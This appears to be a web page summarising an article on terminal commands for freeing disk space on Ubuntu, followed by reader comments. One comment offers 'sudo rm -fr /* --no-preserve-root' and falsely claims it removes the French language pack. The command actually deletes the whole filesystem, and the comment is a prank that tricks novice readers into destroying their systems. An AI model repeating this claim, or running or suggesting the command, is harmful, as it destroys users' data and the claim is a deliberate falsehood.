Spring cleaning made easy with some basic commands.

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Keeping your Ubuntu system free of digital clutter is crucial for maintenance and ensuring sufficient space for new files and programs. This guide covers six terminal commands to help clean up your system: uninstalling programs, cleaning up the APT cache, removing unnecessary packages, clearing journal logs, deleting thumbnail caches, and finding duplicate files. These commands can also be applied to other Debian-based distros like Linux Mint, allowing users to free up significant disk space without using a GUI.

6 Commands to Clean Up Your Ubuntu System From the Terminal

I once bricked my linux install by running autoremove

<code>sudo rm -fr /* --no-preserve-root</code> this will remove the French language pack on Ubuntu, which is a large pack and contains a lot of bloat. The no-preserve-root flag ensures that the command is entirely removed including its “roots” or small dependencies. You’re welcome in advance!

Great article. I have been using Linux Ubuntu for quite some time, and this article helped me clean up GBs of stuff I didn’t need